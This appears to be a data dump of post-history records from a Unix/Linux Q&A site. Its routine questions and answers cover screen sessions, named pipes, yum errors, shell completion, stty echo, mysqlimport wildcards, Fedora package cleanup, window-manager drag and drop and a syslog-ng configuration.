  <row Id="10386" PostHistoryTypeId="2" PostId="4735" RevisionGUID="fb6f7fe4-bfc7-452b-b023-46265542951f" CreationDate="2010-12-10T20:44:25.743" UserId="885" Text="The obvious solution would be to redirect the application's output to a file, and look at that file:&#xD;&#xA;&#xD;&#xA;    nohup application &gt;app.log &amp;  # on the server&#xD;&#xA;    ssh server tail -n +1 -f app.log   # on the client&#xD;&#xA;&#xD;&#xA;If the application must have its output in a terminal, run it in [screen](http://www.gnu.org/software/screen/).&#xD;&#xA;&#xD;&#xA;On the server:  &#xD;&#xA;`screen -S somename -Rrd`  &#xD;&#xA;`application`  &#xD;&#xA;*press &lt;sub&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;D&lt;/kbd&gt;&lt;/sub&gt; to “detach” from the screen session, leaving it running in the background*&#xD;&#xA;&#xD;&#xA;From the client:  &#xD;&#xA;`ssh server`  &#xD;&#xA;`screen -S somename -Rrd`  *to reconnect to the screen session*&#xD;&#xA;&#xD;&#xA;If you want messages to be recorded automatically, the best way is to use the [standard log facility](http://en.wikipedia.org/wiki/Syslog). You can arrange for log entries to be sent to other machines, either crudely with most basic syslogs, or with better filtering and dispatching options with [rsyslog](http://www.rsyslog.com/).&#xD;&#xA;" />
  <row Id="10387" PostHistoryTypeId="2" PostId="4736" RevisionGUID="80a4c593-5587-4ef6-ac54-0194f2d0b682" CreationDate="2010-12-10T20:47:03.507" UserId="688" Text="Running `yum search something` I get:&#xD;&#xA;&#xD;&#xA;    Error: database disk image is malformed&#xD;&#xA;&#xD;&#xA;How to fix?" />
  <row Id="10388" PostHistoryTypeId="1" PostId="4736" RevisionGUID="80a4c593-5587-4ef6-ac54-0194f2d0b682" CreationDate="2010-12-10T20:47:03.507" UserId="688" Text="&quot;database disk image is malformed&quot;" />
  <row Id="10389" PostHistoryTypeId="3" PostId="4736" RevisionGUID="80a4c593-5587-4ef6-ac54-0194f2d0b682" CreationDate="2010-12-10T20:47:03.507" UserId="688" Text="éfedoraàéyumà" />
  <row Id="10390" PostHistoryTypeId="2" PostId="4737" RevisionGUID="6a2cc164-83f9-4a6b-b328-6f910ca2fb91" CreationDate="2010-12-10T20:48:46.227" UserId="3045" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I'm trying to get some efficient auto-completing going here, and have hit upon a bit of a snag.&#xD;&#xA;&#xD;&#xA;I've got a command for setting two things at once. The first is a relatively small list, but the second, if not filtered by the first, is unmanageably huge.&#xD;&#xA;&#xD;&#xA;What I want to be able to do is pass what's already been typed or auto-completed for the first argument to the second autocomplete command...&#xD;&#xA;&#xD;&#xA;    complete job 'p/1/`listJobs`/' 'p/2/`listTasks`/'&#xD;&#xA;&#xD;&#xA;What I want to be able to do is pass the job that has already been entered for the first argument to the 'listTasks' command.&#xD;&#xA;&#xD;&#xA;Any idea how I can do this?&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(this is a repost from an old SuperUser.com question of mine that nobody ever answered...)" />
  <row Id="10391" PostHistoryTypeId="1" PostId="4737" RevisionGUID="6a2cc164-83f9-4a6b-b328-6f910ca2fb91" CreationDate="2010-12-10T20:48:46.227" UserId="3045" Text="When auto-completing in tcsh, can I reference a previous argument?" />
  <row Id="10392" PostHistoryTypeId="3" PostId="4737" RevisionGUID="6a2cc164-83f9-4a6b-b328-6f910ca2fb91" CreationDate="2010-12-10T20:48:46.227" UserId="3045" Text="élinuxàéautocompleteàétcshà" />
  <row Id="10393" PostHistoryTypeId="2" PostId="4738" RevisionGUID="661075e5-2713-4500-9097-867d7885ad96" CreationDate="2010-12-10T20:55:36.387" UserId="688" Text="Which bash completion tutorial would you recommend for a newbie?" />
  <row Id="10394" PostHistoryTypeId="1" PostId="4738" RevisionGUID="661075e5-2713-4500-9097-867d7885ad96" CreationDate="2010-12-10T20:55:36.387" UserId="688" Text="A easy bash completion tutorial?" />
  <row Id="10395" PostHistoryTypeId="3" PostId="4738" RevisionGUID="661075e5-2713-4500-9097-867d7885ad96" CreationDate="2010-12-10T20:55:36.387" UserId="688" Text="ébashà" />
  <row Id="10396" PostHistoryTypeId="2" PostId="4739" RevisionGUID="965a8622-6705-4f93-bf70-0367cc2da0e8" CreationDate="2010-12-10T21:06:10.590" UserId="2661" Text="I think that in this case better than redirection output to file is redirect it to [named pipe (fifo)][1], because there is no need to store all data on disk. If program produces a lot of output we could run out of disk space.&#xD;&#xA;&#xD;&#xA;&gt; Instead of a conventional, unnamed,&#xD;&#xA;&gt; shell pipeline, a named pipeline makes&#xD;&#xA;&gt; use of the filesystem. It is&#xD;&#xA;&gt; explicitly created using mkfifo() or&#xD;&#xA;&gt; mknod(), and two separate processes&#xD;&#xA;&gt; can access the pipe by name — one&#xD;&#xA;&gt; process can open it as a reader, and&#xD;&#xA;&gt; the other as a writer.&#xD;&#xA;&#xD;&#xA;    mkfifo /path/to/my/pipe&#xD;&#xA;    someprogram &gt; /path/to/my/pipe&#xD;&#xA;    tail -f /path/to/my/pipe&#xD;&#xA;&#xD;&#xA;If you want to output it also to stdout you could use `tee`:&#xD;&#xA;&#xD;&#xA;    someprogram | tee /path/to/my/pipe&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Mkfifo#Named_pipes_in_Unix" />
  <row Id="10397" PostHistoryTypeId="2" PostId="4740" RevisionGUID="77a1e089-01cb-4955-8e9d-843f72b84a27" CreationDate="2010-12-10T21:07:19.723" UserId="670" Text="When in a screen session via ssh, if I attempt to connect to another host via scp or ssh and the auth fails, any subsequent text I type in the terminal will not be displayed, however it is being entered and can be executed.&#xD;&#xA;&#xD;&#xA;&gt;[user@host Oracle]$ scp user2@host2:/path/to/files .  &#xD;&#xA;user2@host2's password:  &#xD;&#xA;Permission denied, please try again.  &#xD;&#xA;user2@host2's password:  &#xD;&#xA;[user@host Oracle]$  &#xD;&#xA;[user@host Oracle]$  &#xD;&#xA;[user@host Oracle]$  &#xD;&#xA;[user@host Oracle]$  &#xD;&#xA;[user@host Oracle]$ [user@host ~]$ [user@host ~]$  &#xD;&#xA;&#xD;&#xA;What you can't see above is that I did 'cd' on the last line.  It executed but output stays on the same line.  ^C will give me a new line.&#xD;&#xA;&#xD;&#xA;Is there a way to recover without losing my screen session?" />
  <row Id="10398" PostHistoryTypeId="1" PostId="4740" RevisionGUID="77a1e089-01cb-4955-8e9d-843f72b84a27" CreationDate="2010-12-10T21:07:19.723" UserId="670" Text="Screen, remote login failure, and disappearing text" />
  <row Id="10399" PostHistoryTypeId="3" PostId="4740" RevisionGUID="77a1e089-01cb-4955-8e9d-843f72b84a27" CreationDate="2010-12-10T21:07:19.723" UserId="670" Text="éscreenà" />
  <row Id="10400" PostHistoryTypeId="6" PostId="4738" RevisionGUID="07fe3d2f-2327-4c86-9614-f370d34d9633" CreationDate="2010-12-10T21:14:26.050" UserId="885" Comment="edited tags" Text="ébashàéautoöcompleteà" />
  <row Id="10401" PostHistoryTypeId="2" PostId="4741" RevisionGUID="3e9bfcd3-872d-43b5-9405-98e1e9dfd825" CreationDate="2010-12-10T21:21:07.283" UserId="3047" Text="just try:&#xD;&#xA;&#xD;&#xA;    su -c'yum clean all'&#xD;&#xA;&#xD;&#xA;and enter your root pw." />
  <row Id="10402" PostHistoryTypeId="2" PostId="4742" RevisionGUID="f7be96a5-6999-49e2-b9ad-87d6c4cb59a6" CreationDate="2010-12-10T21:34:50.157" UserId="3047" Text="If you want to install an Ubuntu 10.10 Server from an USB Key, you might want to try [&quot;Unetbootin&quot;][1].&#xD;&#xA;&#xD;&#xA;Download an Run it, select your iso file and it will take care of installing GRUB and copy the files over.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unetbootin.sourceforge.net/" />
  <row Id="10403" PostHistoryTypeId="2" PostId="4743" RevisionGUID="d0628192-d1b9-4bc7-9a15-ac9a440286ad" CreationDate="2010-12-10T21:35:25.633" UserId="885" Text="`stty sane`, or more specifically `stty echo`, should turn echo back on. (`stty sane` will fix other terminal input or output oddities such as newlines not going back to the left margin.)&#xD;&#xA;&#xD;&#xA;Ssh (and most other programs) turn echo off for the password prompt, i.e., the characters you type are not displayed (echoed) to the screen. `stty -echo` is a shell command with the same effect. Normally echo should be turned back on (like `stty echo`) after the password prompt; this is a bug in either ssh or some other software at play here such as your system libraries or terminal emulator. &#xD;&#xA;" />
  <row Id="10404" PostHistoryTypeId="2" PostId="4744" RevisionGUID="0720aa33-f762-400b-b1ad-e99d9d73def0" CreationDate="2010-12-10T22:20:25.683" UserId="2630" Text="I have a bunch of .sql files in a directory that I need to import. Although I can do it manually, for scripting purposes I need to be able to apply them in bulk. How can I do that though? What combination of options and commands do I need?&#xD;&#xA;&#xD;&#xA;The mysqlimport command goes like this:&#xD;&#xA;&#xD;&#xA;    mysqlimport [options] db_name textfile1 [textfile2 ...]&#xD;&#xA;&#xD;&#xA;I need to be able to add all the text files to the end. I would prefer a command than a convoluted for loop if possible.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="10405" PostHistoryTypeId="1" PostId="4744" RevisionGUID="0720aa33-f762-400b-b1ad-e99d9d73def0" CreationDate="2010-12-10T22:20:25.683" UserId="2630" Text="Batch importing .sql files" />
  <row Id="10406" PostHistoryTypeId="3" PostId="4744" RevisionGUID="0720aa33-f762-400b-b1ad-e99d9d73def0" CreationDate="2010-12-10T22:20:25.683" UserId="2630" Text="élinuxàéscriptingàémysqlà" />
  <row Id="10408" PostHistoryTypeId="2" PostId="4746" RevisionGUID="960d2f8f-0fec-4f3e-8c16-233b7dcaf9a4" CreationDate="2010-12-10T22:37:20.557" UserId="138" Text="Use wildcards:&#xD;&#xA;&#xD;&#xA;    mysqlimport [options] db_name /path/to/sql/files/*&#xD;&#xA;&#xD;&#xA;If there are non-SQL files in that directory, they may have some part of their file name in common.  If they all end in `.sql`, the command becomes:&#xD;&#xA;&#xD;&#xA;    mysqlimport [options] db_name /path/to/sql/files/*.sql&#xD;&#xA;&#xD;&#xA;If you come from DOS/Windows, it may not be clear to you why this works.  On Unixy systems, the shell expands wildcards, so the program (`mysqlimport` in this case) doesn't have to have its own processing.  That's why the usage message you quote says it expects the files to be given individually: that's how it will see the files if you use commands like the above.  The program only sees the wildcard if the pattern doesn't match anything; the shell passes it on literally to the program, having no better way of handling it." />
  <row Id="10409" PostHistoryTypeId="5" PostId="4720" RevisionGUID="cfaf097d-5b10-45e1-a6a5-ef7c8848b411" CreationDate="2010-12-10T23:12:22.493" UserId="3038" Comment="added OGG file" Text="For MP3, try [eyeD3][1], found in [this][2] SO answer.&#xD;&#xA;&#xD;&#xA;      --add-image=IMG_PATH:TYPE[:DESCRIPTION]&#xD;&#xA;                          Add an image to the tag.  The description and type&#xD;&#xA;                          optional, but when used, both ':' delimiters must be&#xD;&#xA;                          present.  The type MUST be an string that corresponds&#xD;&#xA;                          to one given with --list-image-types. If the IMG_PATH&#xD;&#xA;                          value is empty the APIC frame with TYPE is removed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For Ogg, there's [vorbiscomment][3]. It doesn't support loading image files out of the box, but a cover art tag in Vorbis is just an image file encoded in base64, stored in the COVERART tag and its mimetype in COVERARTMIME - something like &#xD;&#xA;&#xD;&#xA;    coverart=$(base64 $jpegfile)&#xD;&#xA;    vorbiscomment -a -t 'COVERART=$coverart' -t 'COVERARTMIME=image/jpeg' $infile $outfile&#xD;&#xA;&#xD;&#xA;  [1]: http://eyed3.nicfit.net/&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1340593/linux-library-to-write-id3v2-data-and-cover-art/1364820#1364820&#xD;&#xA;  [3]: http://downloads.xiph.org/releases/vorbis/vorbis-tools-1.2.0.tar.gz" />
  <row Id="10410" PostHistoryTypeId="5" PostId="4746" RevisionGUID="7970434b-6c9b-4be1-8e19-febf0fa16863" CreationDate="2010-12-10T23:22:54.293" UserId="138" Comment="grammar fix" Text="Use wildcards:&#xD;&#xA;&#xD;&#xA;    mysqlimport [options] db_name /path/to/sql/files/*&#xD;&#xA;&#xD;&#xA;If there are non-SQL files in that directory, the subset of files you do want to import may have some part of their file name in common.  For instance, if they all end in `.sql`, the command becomes:&#xD;&#xA;&#xD;&#xA;    mysqlimport [options] db_name /path/to/sql/files/*.sql&#xD;&#xA;&#xD;&#xA;If you come from DOS/Windows, it may not be clear to you why this works.  On Unixy systems, the shell expands wildcards, so the program (`mysqlimport` in this case) doesn't have to have its own processing.  That's why the usage message you quote says it expects the files to be given individually: that's how it will see the files if you use commands like the above.  The program only sees the wildcard if the pattern doesn't match anything; the shell passes it on literally to the program, having no better way of handling it." />
  <row Id="10411" PostHistoryTypeId="2" PostId="4747" RevisionGUID="5f4e5a51-9e84-4b14-8a4c-65b1789c0a54" CreationDate="2010-12-11T00:02:21.207" UserId="1571" Text="Where exactly are you starting from? Are you stripping an existing distro? Is there a reason you have to start with any distro?&#xD;&#xA;&#xD;&#xA;You might want to consider building an embedded system from scratch and load only what you know you need." />
  <row Id="10412" PostHistoryTypeId="5" PostId="1716" RevisionGUID="0eff8136-db98-4b0e-8df0-5a83cf7c3802" CreationDate="2010-12-11T03:24:51.930" UserId="479" Comment="deleted 1 characters in body; edited title" Text="I saw a t-shirt reading 'anything you say gets piped to /dev/null', not incredibly funny but amusing at least. &#xD;&#xA;&#xD;&#xA;Does anyone else have any good one-liner *nix jokes?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10413" PostHistoryTypeId="4" PostId="1716" RevisionGUID="0eff8136-db98-4b0e-8df0-5a83cf7c3802" CreationDate="2010-12-11T03:24:51.930" UserId="479" Comment="deleted 1 characters in body; edited title" Text="Any funny *nix one-liners? " />
  <row Id="10414" PostHistoryTypeId="5" PostId="4738" RevisionGUID="c2fca179-4d5b-4a5f-9948-792f6c7a9939" CreationDate="2010-12-11T04:52:00.777" UserId="688" Comment="clarity" Text="I want to know how to write bash completion scripts. Which tutorial would you recommend for a newbie?" />
  <row Id="10415" PostHistoryTypeId="6" PostId="4738" RevisionGUID="c2fca179-4d5b-4a5f-9948-792f6c7a9939" CreationDate="2010-12-11T04:52:00.777" UserId="688" Comment="clarity" Text="ébashàéautocompleteà" />
  <row Id="10416" PostHistoryTypeId="2" PostId="4748" RevisionGUID="194acbaa-e0b4-4c6f-a2c3-30ba3f1bc278" CreationDate="2010-12-11T05:12:43.973" UserId="688" Text="An installed library that has no installed application depending on it is referred to as orphaned. One of the tools used determine which libraries are orphaned on a Debian system is named [deborphan][1]. What is the Fedora equivalent?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/sid/deborphan" />
  <row Id="10417" PostHistoryTypeId="1" PostId="4748" RevisionGUID="194acbaa-e0b4-4c6f-a2c3-30ba3f1bc278" CreationDate="2010-12-11T05:12:43.973" UserId="688" Text="What is Fedora's equivalent of deborphan?" />
  <row Id="10418" PostHistoryTypeId="3" PostId="4748" RevisionGUID="194acbaa-e0b4-4c6f-a2c3-30ba3f1bc278" CreationDate="2010-12-11T05:12:43.973" UserId="688" Text="éfedoraàédebianàépackageömanagementà" />
  <row Id="10419" PostHistoryTypeId="2" PostId="4749" RevisionGUID="ed9c8bc0-db9b-4688-aa59-55b8b91c3001" CreationDate="2010-12-11T05:22:35.197" UserId="393" Text="Not specific to *nix but related to coders:&#xD;&#xA;&#xD;&#xA;&gt; Code is like fart, you support only yours." />
  <row Id="10420" PostHistoryTypeId="2" PostId="4750" RevisionGUID="42d2924a-e51f-40ef-8c91-9535ee4a221d" CreationDate="2010-12-11T05:36:29.880" UserId="688" Text="It was supposed to be a more appealing shell than shell, with some hype some years back then and then... [it died][1]? What happened?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/hotwire-shell/source/list" />
  <row Id="10421" PostHistoryTypeId="1" PostId="4750" RevisionGUID="42d2924a-e51f-40ef-8c91-9535ee4a221d" CreationDate="2010-12-11T05:36:29.880" UserId="688" Text="What killed hotwire-shell?" />
  <row Id="10422" PostHistoryTypeId="3" PostId="4750" RevisionGUID="42d2924a-e51f-40ef-8c91-9535ee4a221d" CreationDate="2010-12-11T05:36:29.880" UserId="688" Text="éshellà" />
  <row Id="10423" PostHistoryTypeId="2" PostId="4751" RevisionGUID="a7cd07d8-0f0a-4355-897b-58e192c4f5f8" CreationDate="2010-12-11T06:06:20.377" UserId="1375" Text="Do any any minimal WMs, like scrotwm or xmonad (OR any others), support drag and drop *between* windows out of the box? If so which? If not, is there a way to enable such functionality?&#xD;&#xA;&#xD;&#xA;A classic example would be to have a file manager in one window, from which you drag a file into an open application in another window to open it, etc. etc.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="10424" PostHistoryTypeId="1" PostId="4751" RevisionGUID="a7cd07d8-0f0a-4355-897b-58e192c4f5f8" CreationDate="2010-12-11T06:06:20.377" UserId="1375" Text="Drag and drop between windows in tiling i.e. minimalist WMs?" />
  <row Id="10425" PostHistoryTypeId="3" PostId="4751" RevisionGUID="a7cd07d8-0f0a-4355-897b-58e192c4f5f8" CreationDate="2010-12-11T06:06:20.377" UserId="1375" Text="éfileàéwindowömanagerà" />
  <row Id="10426" PostHistoryTypeId="2" PostId="4752" RevisionGUID="74745bbe-58ae-4fd8-b255-886be800ff25" CreationDate="2010-12-11T06:15:16.433" UserId="1207" Text="It appears that [package-cleanup][1] can perform a similar task with the following command:&#xD;&#xA;&#xD;&#xA;    $ package-cleanup --leaves&#xD;&#xA;&#xD;&#xA;or, to include more than just libraries&#xD;&#xA;&#xD;&#xA;    $ package-cleanup --leaves --all&#xD;&#xA;&#xD;&#xA;`package-cleanup` is in [yum-utils][2] package, which is available for installation via the Fedora repositories.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/package-cleanup&#xD;&#xA;  [2]: http://yum.baseurl.org/wiki/YumUtils" />
  <row Id="10427" PostHistoryTypeId="5" PostId="4648" RevisionGUID="bac78030-7265-4bd0-9a2f-731be50e5262" CreationDate="2010-12-11T06:58:46.317" UserId="2973" Comment="deleted 1 characters in body" Text="I found this feature request which suggests that it is part of the nautilus package: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=529297&#xD;&#xA;&#xD;&#xA;I found the file &quot;mount-archive.desktop&quot; at: http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/natty/nautilus/natty/annotate/head:/debian/mount-archive.desktop&#xD;&#xA;&#xD;&#xA;(sorry I had to put a space in the above link because I don't have enough reputation yet to post more than one link)" />
  <row Id="10428" PostHistoryTypeId="2" PostId="4753" RevisionGUID="f7268b99-8302-4b7f-8ade-7910e895e963" CreationDate="2010-12-11T09:10:41.667" UserId="3003" Text="I am looking for a solution which does need to start server in a special way because I am not allow to start the program and cannot even stop and restart in a special environment. Someone starts program on the server and I have to check message output in the terminal when there are troubles.&#xD;&#xA;Any idea how to achieve?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10429" PostHistoryTypeId="2" PostId="4754" RevisionGUID="2f6e4ecc-6961-421e-86f1-50f2f36879ab" CreationDate="2010-12-11T09:25:52.927" UserId="3038" Text="[Awesome][1] supports drag and drop between windows. There is a catch: you can't change tags¹ while dragging, but you can show two tags at the same time (with all their windows) and then drag and drop.&#xD;&#xA;&#xD;&#xA;¹something similar to a workspace, but more flexible&#xD;&#xA;  [1]: https://awesome.naquadah.org/" />
  <row Id="10430" PostHistoryTypeId="2" PostId="4755" RevisionGUID="9a7185af-2073-449b-b0d5-5ea8d3ba874a" CreationDate="2010-12-11T10:31:50.803" UserId="2648" Text="Im using [dwm][1] (5.8.2 atm) and when i try to drag `n` drop anything from program A to program B, it works. You cant change workspace while draging files so you need to use the same workspace.&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;I just tried so it actually works ;))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dwm.suckless.org/" />
  <row Id="10431" PostHistoryTypeId="2" PostId="4756" RevisionGUID="8c862c34-b644-40a5-a8fe-779ca81a56c2" CreationDate="2010-12-11T12:11:25.303" UserId="885" Text="(If you're paying for Red Hat support, you should ask them this kind of questions. This is exactly what you're paying for!)&#xD;&#xA;&#xD;&#xA;From [the RHEL5 `crontab(5)` man page](ftp://ftp.redhat.com/redhat/linux/enterprise/5Client/en/os/SRPMS/vixie-cron-4.1-77.el5_4.1.src.rpm):&#xD;&#xA;&#xD;&#xA;&gt; If it exists, the `/etc/cron.d/` directory is parsed like the cron spool directory, except that the files in it are not user-specific and are therefore read with `/etc/crontab` syntax (the user is specified explicitly in the 6th column).&#xD;&#xA;&#xD;&#xA;(Is there a simpler way of reading RHEL man pages without having access to it? At least this way I could see that this paragraph is part of the Red Hat patch, so it's not a standard Vixie Cron 4.1 feature.)&#xD;&#xA;&#xD;&#xA;Looking at the source, I see that the following files are skipped: `.*`, `#*`, `*~`. `*.rpmnew`, `*.rpmorig`, `*.rpmsave`. So yes, your `*.cfsaved` files are read in addition to the originals.&#xD;&#xA;" />
  <row Id="10432" PostHistoryTypeId="6" PostId="4751" RevisionGUID="61bced39-073f-4dc4-a574-e7db26c7a831" CreationDate="2010-12-11T12:17:12.410" UserId="885" Comment="edited tags" Text="éwindowömanageràédragöandödropà" />
  <row Id="10433" PostHistoryTypeId="2" PostId="4757" RevisionGUID="28fc651b-6892-475e-8e17-599642229e37" CreationDate="2010-12-11T12:25:39.157" UserId="29" Text="Just rebooted my system to this warning&#xD;&#xA;&#xD;&#xA;    :: Starting Syslog-NG                                                                       [BUSY]&#xD;&#xA;    WARNING: Configuration file format is too old, please update it to use the 3.2 format as some constructs might operate inefficiently;&#xD;&#xA;    WARNING: the expected message format is being changed for unix-domain transports to improve syslogd compatibity with syslog-ng 3.2. If you are using custom applications which bypass the syslog() API, you might need the 'expect-hostname' flag to get the old behaviour back;&#xD;&#xA;&#xD;&#xA;Anyone know of any good resources on converting formats? my `syslog-ng.conf` is primarily from the [Gentoo Security Handbook](http://www.gentoo.org/doc/en/security/security-handbook.xml?part=1&amp;chap=3) and thus simply using the the `.pacnew` file won't work&#xD;&#xA;&#xD;&#xA;here's my current conf file&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    @version: 3.0&#xD;&#xA;    #&#xD;&#xA;    # /etc/syslog-ng.conf&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    options {&#xD;&#xA;      stats_freq (0);&#xD;&#xA;      flush_lines (0);&#xD;&#xA;      time_reopen (10);&#xD;&#xA;      log_fifo_size (1000);&#xD;&#xA;      long_hostnames(off); &#xD;&#xA;      use_dns (no);&#xD;&#xA;      use_fqdn (no);&#xD;&#xA;      create_dirs (no);&#xD;&#xA;      keep_hostname (yes);&#xD;&#xA;      perm(0640);&#xD;&#xA;      group(&quot;log&quot;);&#xD;&#xA;    };&#xD;&#xA;    &#xD;&#xA;    source src {&#xD;&#xA;      unix-stream(&quot;/dev/log&quot;);&#xD;&#xA;      internal();&#xD;&#xA;      file(&quot;/proc/kmsg&quot;);&#xD;&#xA;    };&#xD;&#xA;    &#xD;&#xA;    destination d_authlog { file(&quot;/var/log/auth.log&quot;); };&#xD;&#xA;    destination d_syslog { file(&quot;/var/log/syslog.log&quot;); };&#xD;&#xA;    destination d_cron { file(&quot;/var/log/crond.log&quot;); };&#xD;&#xA;    destination d_daemon { file(&quot;/var/log/daemon.log&quot;); };&#xD;&#xA;    destination d_kernel { file(&quot;/var/log/kernel.log&quot;); };&#xD;&#xA;    destination d_lpr { file(&quot;/var/log/lpr.log&quot;); };&#xD;&#xA;    destination d_user { file(&quot;/var/log/user.log&quot;); };&#xD;&#xA;    destination d_uucp { file(&quot;/var/log/uucp.log&quot;); };&#xD;&#xA;    destination d_mail { file(&quot;/var/log/mail.log&quot;); };&#xD;&#xA;    destination d_news { file(&quot;/var/log/news.log&quot;); };&#xD;&#xA;    destination d_ppp { file(&quot;/var/log/ppp.log&quot;); };&#xD;&#xA;    destination d_debug { file(&quot;/var/log/debug.log&quot;); };&#xD;&#xA;    destination d_messages { file(&quot;/var/log/messages.log&quot;); };&#xD;&#xA;    destination d_errors { file(&quot;/var/log/errors.log&quot;); };&#xD;&#xA;    destination d_everything { file(&quot;/var/log/everything.log&quot;); };&#xD;&#xA;    destination d_iptables { file(&quot;/var/log/iptables.log&quot;); };&#xD;&#xA;    destination d_acpid { file(&quot;/var/log/acpid.log&quot;); };&#xD;&#xA;    destination d_console { usertty(&quot;root&quot;); };&#xD;&#xA;    &#xD;&#xA;    # Log everything to tty12&#xD;&#xA;    destination console_all { file(&quot;/dev/tty12&quot;); };&#xD;&#xA;    #destination knotifier { program('/usr/local/bin/knotifier'); };&#xD;&#xA;    &#xD;&#xA;    filter f_auth { facility(auth); };&#xD;&#xA;    filter f_authpriv { facility(auth, authpriv); };&#xD;&#xA;    filter f_syslog { program(syslog-ng); };&#xD;&#xA;    filter f_cron { facility(cron); };&#xD;&#xA;    filter f_daemon { facility(daemon); };&#xD;&#xA;    filter f_kernel { facility(kern) and not filter(f_iptables); };&#xD;&#xA;    filter f_lpr { facility(lpr); };&#xD;&#xA;    filter f_mail { facility(mail); };&#xD;&#xA;    filter f_news { facility(news); };&#xD;&#xA;    filter f_user { facility(user); };&#xD;&#xA;    filter f_uucp { facility(cron); };&#xD;&#xA;    filter f_news { facility(news); };&#xD;&#xA;    filter f_ppp { facility(local2); };&#xD;&#xA;    filter f_debug { not facility(auth, authpriv, news, mail); };&#xD;&#xA;    filter f_messages { level(info..warn) and not facility(auth, authpriv, mail, news, cron) and not program(syslog-ng) and not filter(f_iptables); };&#xD;&#xA;    filter f_everything { level(debug..emerg) and not facility(auth, authpriv); };&#xD;&#xA;    filter f_emergency { level(emerg); };&#xD;&#xA;    filter f_info { level(info); };&#xD;&#xA;    filter f_notice { level(notice); };&#xD;&#xA;    filter f_warn { level(warn); };&#xD;&#xA;    filter f_crit { level(crit); };&#xD;&#xA;    filter f_err { level(err); };&#xD;&#xA;    filter f_iptables { match(&quot;IN=&quot; value(&quot;MESSAGE&quot;)) and match(&quot;OUT=&quot; value(&quot;MESSAGE&quot;)); };&#xD;&#xA;    filter f_acpid { program(&quot;acpid&quot;); };&#xD;&#xA;    &#xD;&#xA;    log { source(src); filter(f_acpid); destination(d_acpid); };&#xD;&#xA;    log { source(src); filter(f_authpriv); destination(d_authlog); };&#xD;&#xA;    log { source(src); filter(f_syslog); destination(d_syslog); };&#xD;&#xA;    log { source(src); filter(f_cron); destination(d_cron); };&#xD;&#xA;    log { source(src); filter(f_daemon); destination(d_daemon); };&#xD;&#xA;    log { source(src); filter(f_kernel); destination(d_kernel); };&#xD;&#xA;    log { source(src); filter(f_lpr); destination(d_lpr); };&#xD;&#xA;    log { source(src); filter(f_mail); destination(d_mail); };&#xD;&#xA;    log { source(src); filter(f_news); destination(d_news); };&#xD;&#xA;    log { source(src); filter(f_ppp); destination(d_ppp); };&#xD;&#xA;    log { source(src); filter(f_user); destination(d_user); };&#xD;&#xA;    log { source(src); filter(f_uucp); destination(d_uucp); };&#xD;&#xA;    #log { source(src); filter(f_debug); destination(d_debug); };&#xD;&#xA;    log { source(src); filter(f_messages); destination(d_messages); };&#xD;&#xA;    log { source(src); filter(f_err); destination(d_errors); };&#xD;&#xA;    log { source(src); filter(f_emergency); destination(d_console); };&#xD;&#xA;    log { source(src); filter(f_everything); destination(d_everything); };&#xD;&#xA;    log { source(src); filter(f_iptables); destination(d_iptables); };&#xD;&#xA;    &#xD;&#xA;    #log { source(src); filter(f_messages); destination(knotifier); };&#xD;&#xA;    # Log everything to tty12&#xD;&#xA;    log { source(src); destination(console_all); };&#xD;&#xA;" />
  <row Id="10434" PostHistoryTypeId="1" PostId="4757" RevisionGUID="28fc651b-6892-475e-8e17-599642229e37" CreationDate="2010-12-11T12:25:39.157" UserId="29" Text="Converting syslog-ng 3.0? format to 3.2 format" />
  <row Id="10435" PostHistoryTypeId="3" PostId="4757" RevisionGUID="28fc651b-6892-475e-8e17-599642229e37" CreationDate="2010-12-11T12:25:39.157" UserId="29" Text="éconfigurationàésyslogöngàésyslogàésyslogöngö3û2àéupgradeà" />
  <row Id="10436" PostHistoryTypeId="2" PostId="4758" RevisionGUID="bf12bfa3-9dfb-4e37-8f9b-11f89e762965" CreationDate="2010-12-11T12:26:57.077" UserId="274" Text="In X11, drag and drop is something that the *application* must support, it has nothing to do with the window manager.  For example: you cannot drag'n'drop anything in a `xcalc` window, even with the Compiz window manager.&#xD;&#xA;&#xD;&#xA;The X11 drag and drop protocol is called XDND: see http://www.newplanetsoftware.com/xdnd/ for more information." />
  <row Id="10437" PostHistoryTypeId="5" PostId="4734" RevisionGUID="4f4503c4-6be7-4a08-b710-600d965d6893" CreationDate="2010-12-11T13:34:31.547" UserId="3003" Comment="added 700 characters in body" Text="I have an application running on a server, started from the command line. From time to time, I need to connect to the server via SSH and get the output messages written to stdout from the application. Is there a way to read/sniff/catch the messages on that terminal? The server runs Fedora 12. &#xD;&#xA;&#xD;&#xA;To clarify a bit more. I have admin access to the server, but I cannot stop the running application because it is in critical environment. It is the end user who starts the application from a terminal. Via ssh I have to read messages in the terminal whenever user sees strange behaviors. It is a graphical application. I may build a script to run the application with screen, this means I have to change the &quot;launcher&quot; but there are some servers not always accessible for security reason from outside the LAN. Updating is complicate. My question is, if there is an application running, is there any way to catch its output in the terminal without stopping it and rerun under screen or whatever?&#xD;&#xA;&#xD;&#xA;" />
